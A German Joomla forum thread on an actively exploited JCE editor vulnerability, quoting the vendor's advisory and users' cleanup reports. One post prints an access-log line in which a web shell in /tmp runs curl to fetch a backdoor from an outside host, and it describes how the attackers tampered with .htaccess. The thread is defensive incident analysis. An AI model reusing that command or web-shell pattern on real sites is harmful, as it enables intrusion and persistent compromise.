Bei einer Seite (die hatte ich nicht mehr auf dem Schirm) ist mir heute aufgefallen, weil ich eine seltsame Mail von Google Search Console bekommen habe. Es waren überall Dateien, auch unter languages.
Neues Sicherheitsrelease für JCE-Editor
-
Re:Later -
28. Mai 2026 um 23:21 -
Erledigt
-
-
Kam in diesem Moment per Mail.
ZitatAlles anzeigenJCE security update, and a free patch for older sites
Last week I released JCE 2.9.99.5 to patch a critical vulnerability in all earlier versions, followed on Monday by 2.9.99.6, which added hardening on top. JCE Pro 2.9.99.6 is the recommended version for every site.
If you have not updated, please do so immediately. The vulnerability is being actively exploited, working exploit code is public, and the attacks are automated, so a site with no public registration is not safe.
One important point: updating closes the entry point but does not clean a site that was already compromised. If you were hit before updating, the update will not remove what the attacker left behind.
Checking your site
The attack works by getting an editor profile onto your site that permits uploading executable files, then using it to upload one. What to look for:
- An editor profile you did not create. It will usually have a meaningless, automatically generated name, and may be ordered so it sits at the top of your profile list.
- A profile set to allow PHP or other script files to be uploaded. This will be set in the Permitted File Extensions parameter for a plugin, eg: Image Manager or File Browser
- A front-end editor that has lost its normal toolbar and shows only a stripped-down or single-button version. On its own this is a hint rather than proof, but alongside an unfamiliar profile it is a strong sign.
The reliable confirmation is in your web server access logs, which you can usually find in your hosting control panel, or request from your host. Look for unauthenticated requests to the profile import task, index.php?option=com_jce&task=profiles.import. The earliest matching entry shows when the site was first reached, so restore from a backup taken before that date. Get hold of them sooner rather than later, as many hosts keep logs only briefly, and once they have rotated away there may be no record left. A site can still be compromised even when the logs no longer show it.
Suspicious Files
Be wary of any PHP file in your images, media or tmp folders that you did not put there. Those folders should not normally contain PHP files. When a profile sets no upload path, the default location is the images folder, so start there. If you are not confident judging this by eye, the free audit below will do it for you.
For a fuller technical breakdown and a complete list of indicators, Phil Taylor of mysites.guru has published a detailed independent analysis.
If you find something
Assume the site is compromised and work through it in this order:
- Keep a copy of the suspect profile and any suspect files before you delete anything, in case you need them later.
- Remove the rogue profile and every file uploaded through it.
- Make sure the site is on 2.9.99.6 or later. If the entry point is still open, it will simply be reinfected.
- Change your Joomla secret and all passwords, including any reused elsewhere.
- Run a full server-side malware scan to confirm nothing else was planted. Your host may provide one (many run Imunify or similar) or can run one for you on request.
If you would rather not do this by hand, or you manage several sites, mysites.guru offers a free audit that scans the whole site, including files outside the public web root, and flags rogue JCE profiles and anything uploaded through them.
For sites that cannot update
2.9.99.6 needs PHP 7.4 and Joomla 3.10 or later. For sites not yet able to meet that, a free patch package fixes the vulnerability in JCE 2.7.x, 2.8.x and 2.9.x.
JCE 2.6.x does not appear to be affected in a default configuration. The unauthenticated profile import path is blocked, and no guest-accessible profile exists by default. This has not yet been independently verified.
Please note before using the patch:
- It closes the vulnerability only, without the additional 2.9.99.6 hardening.
- It is provided as-is, with no warranty, for sites that genuinely cannot update.
- It does not clean an already-compromised site. Work through the checks above regardless.
- It is a stopgap. End-of-life PHP or Joomla leaves you exposed to other unpatched issues, so please plan to move to a supported platform.
- Back up and test on a copy first.
If you have any questions please post on the forum.
-
Es gibt jetzt ein Security Patch vom 12.06.2026 für ältere JCE-Versionen, die nicht direkt auf 2.9.99.6 upgedatet werden können:
-
Von 6 Seiten waren 3 betroffen.
Jeder der betroffenen war unterschiedlich.
- Seite lief ohne Fehler. War noch sehr wenig betroffen und angelegt. Man sieht es am Datum.
- Fehler 500 , einige Dateien angelegt und modifiziert.
- Seite lief nicht mehr. Dateien fehlten wie die Index.php oder configuration usw.
Alle Seite mit Datenbank und Inhalt komplett gelöscht und mit akeeba von Anfang Mai zurückgespielt.
Die anderen 3 Seiten sind unter Beobachtung .
Es gibt leider kein einheitliches Schema der betroffenen Seiten.
-
Bei 90% dieser Hacks die wir seit zwei Tagen hier untersuchen/bereinigen liegen Files im /tmp und manchmal auch im image-Order. Das erkannt man sofort.
php-files, oder? Gibt es da bestimmte Muster, dann könnte ich damit unseren kompletten Webserver abscannen?
cu...O.D.
-
Variante 1 mit gut getarnten Backdoors, augenscheinlich erst mal alles okay, ist die problematischste. Da wird dann später zugeschlagen, wenn das Thema nach der Update Welle längst aus dem Fokus geraten ist.
Wenn die Seite abschmiert, ist das mehr oder weniger ein gescheiterter Hack und die "hilfreichste" Variante.
-
Bei 2 Seiten wurden ein zusätzlicher Ordner angelegt mit einer Index.php drin.
Irgendwas mit th ?
Ich habe die Seiten nach den betroffenen Datum gesucht . Da ich wusste das ich an den Seiten 2 Monate nicht dran war , war es einfach. Danach habe ich sie mit der originale Größe verglichen und siehe da, anderer Scriptinhalt.
-
Bei 2 Seiten wurden ein zusätzlicher Ordner angelegt mit einer Index.php drin.
Irgendwas mit th ?
Ich habe die Seiten nach den betroffenen Datum gesucht . Da ich wusste das ich an den Seiten 2 Monate nicht dran war , war es einfach. Danach habe ich sie mit der originale Größe verglichen und siehe da, anderer Scriptinhalt.
Im Image-Ordner?
-
Nein im Hauptordner von joomla.
-
Wir prüfen gerade den Einsatz von dem Schutztool "HTProtect", welches von Pascal angeboten wird. Das sieht richtig gut aus und schützt auch vor den aktuellen Astroid und JCE Hacks. Ich weiss es gibt auch andere "Firewall"-Tools, aber das HTProtect ist schlank, wird extrem schnell weiterentwickelt. Allein gestern gab es mehrere Updates/Anpassungen, nur aufgrund meiner Kommunikation mit Pascal.
Joomla .htaccess im Basisverzeichnis absichern - HTProtect Server-SchildJoomla .htaccess absichern mit HTProtect - kostenlose Komponente: PHP-Schutz, Backend-Passwort, Exploit-Schild. Schnellstart in 3 Klicks, Joomla 2.5-6.website-bereinigung.de -
Danke flotte für die Infos,
Es wäre vielleicht hilfreich, wenn du einen neuen Thread eröffnen würdest, nur mit dem Thema HTProtect Server-Schild.
Was meinst du?
-
Macht Sinn, wenn ein Mod meinen Beitrag als neuen Thread einstellt.
-
Macht Sinn, wenn ein Mod meinen Beitrag als neuen Thread einstellt.
kitepascal hat jetzt einen separaten Thread geöffnet.
-
-
Interessant:
Bei einer betroffenen Seite wurde unter /tmp eine Datei angelegt: "nx74554.php"
mit dem Inhalt:bitte keine hackvorlage posten
Eine Datei "signal.php" wurde per "nx74554.php" auf den Server abgelegt:
GET /tmp/nx74554.php?cmd=curl%20-o%20signal.php%20https://667fbcd5.rundenbakdem.pages.dev/run.txt HTTP/1.1" 200
Die signal.php hat zu Beginn einen Kommentarblock, der beinhaltet:
* Plugin Name: WooCommeerce
(falsch geschrieben)Die Datei selbst hat mit WordPress oder WooCommerce nichts zu tun, scheint stattdessen eine grafische Oberfläche bereitzustellen, mit der man Dateien am Webserver bearbeiten kann inklusive Terminal. Eine Backdoor-Anwendung also.
Im Verzeichnis /layouts/joomla/error wurde eine Kopie der signal.php angelegt mit Namen "routes.php"
Anschließend wurde die htaccess-Datei bearbeitet und unterhalb von "## These directives are only enabled if the Apache mod_rewrite module is enabled", folgende Zeilen eingefügt:
.. entfernt ..
Kurioserweise verhindert dies den direkten Zugriff auf die genannten Dateitypen, wenn der angefragte Pfad NICHT /index.php ist. Allerdings nur im Root-Verzeichnis und in den angeführten Unterverzeichnissen: tmp|administrator/tmp|cache|logs|images|media|uploads.
ABER der Zugriff auf die "routes.php" im Verzeichnis /layouts/joomla/error ist weiterhin möglich.
Dadurch soll vermutlich verhindert werden, dass weitere Hacks, die auf dem JCE Wahnsinn beruhen, die Seite lahmlegen, womit es sofort auffallen würde, dass etwas nicht stimmt.
-
Sesiznaj danke für deinen Beitrag und die Analyse. Aber eigentlich ist es schon schlimm genug, da brauchen wir die Hackankeitung nicht mehr zu posten. Ich haabe mir erlaubt, das zu entfernen, nix für ungut.
-
Keine Ahnung was hier aktuell los ist. Der eine postet öffentlich eine gehackte Phishingseite, der andere verteilt /veröffentlicht Hackerscripte.... Mannoman.... Ist wohl zu heiss heute.
-
Da wünscht man sich die Zeit von HTML Seiten zurück. Die waren wenigstens sicher. Nur die Pflege war etwas umständlicher. Die Hackangriffe nerven mich wie sonst was. Ich beneide die Leute nicht , die mehr als 20 Seiten betreuen. Für die ist das Volltagsjob. Von den Konkurrenten z.b. WordPress usw. hört man kaum was.
-
Von den Konkurrenten z.b. WordPress usw. hört man kaum was.
Wahrscheinlich liest du einfach keine Wordpress News
-
Die Hackangriffe nerven mich wie sonst was. Ich beneide die Leute nicht , die mehr als 20 Seiten betreuen. Für die ist das Volltagsjob. Von den Konkurrenten z.b. WordPress usw. hört man kaum was.
Genau deshalb haben wir viele User, die von WordPress, Drupal usw. zu Joomla gewechselt sind. Das sind nämlich User, die auf ein CMS bauen, was in Punkto Sicherheit weit vorne liegt. Auch das ist im www nachlesbar. Solltest du mal googeln. Im Übrigen, sind es in der Regel Drittanbietererweiterungen die diese Lücken verursachen. Es steht dir frei in deinen Joomla Webseiten keine davon zu verwenden.
